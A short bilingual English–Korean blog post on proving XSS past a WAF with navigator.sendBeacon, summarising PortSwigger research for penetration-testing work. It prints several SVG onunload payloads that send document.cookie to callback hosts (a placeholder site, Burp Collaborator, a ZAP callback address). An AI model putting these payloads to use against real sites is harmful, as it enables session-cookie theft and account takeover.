Transient events for XSS(sendBeacon?!)

I saw a new post in portswigger research today. It’s about how to successfully prove XSS when the attack phrase is blocked by WAF, but it’s short but interesting, so I’m writing it.

오늘 portswigger research 의 새로운 게시글을 보았습니다. https://portswigger.net/research/when-alert-fails-exploiting-transient-events

WAF로 인해 공격 구문이 차단됬을 때 XSS를 성공적으로 증명하는 방법에 대한 이야기인데요, 짧지만 재미있는 부분이 있어서 글로 남겨봅니다.

What is navigator.sendBeacon?

The navigator.sendBeacon() method asynchronously sends a small amount of data over HTTP to a web server. like $.get, $.Ajax.

navigator.sendBeacon은 짧은 데이터를 전송할 수 있는 메소드입니다. $.get, $.Ajax 등과 비슷한 기능을 수행할 수 있죠.

navigator.sendBeacon(url, data);

window.addEventListener("unload", function logData() {
  navigator.sendBeacon("/log", analyticsData);
});

https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon

Use navigator.sendBeacon() for XSS PoC(Blocked common payload)

<svg onunload=navigator.sendBeacon('//your.callback.site',document.cookie)>

Callback with Burp Collaborator

If you use BurpSuite, Make Collaborator URL from Taborator. BurpSuite의 경우 Taborator 등을 이용해서 Collaborator URL을 만들어주면 됩니다.

<svg onunload=navigator.sendBeacon('//yourid.burpcollaborator.net',document.cookie)>

Callback with ZAP

If you use ZAP, Setting Callback Address(setting > callback address) ZAP은 동적으로 Callback URL로 사용할 주소를 만들 수 없기 때문에 Callback Address에 임의로 포트를 지정한 후 remote_ip:port 으로 접근해야합니다.

<svg onunload=navigator.sendBeacon('//your.external.ipaddress:38888',document.cookie)>

The action of the tools at this time.

ZAP Collaborator?

I hope that Collaborator features like Taborator will be added to ZAP soon. 제가 알기로는.. 이슈가 진행중이라, 아마 나중에 추가될 수 있을 것 같네요. https://github.com/zaproxy/zaproxy/issues/3022

Reference

https://portswigger.net/research/when-alert-fails-exploiting-transient-events https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon https://twitter.com/hahwul/status/1248241613823827968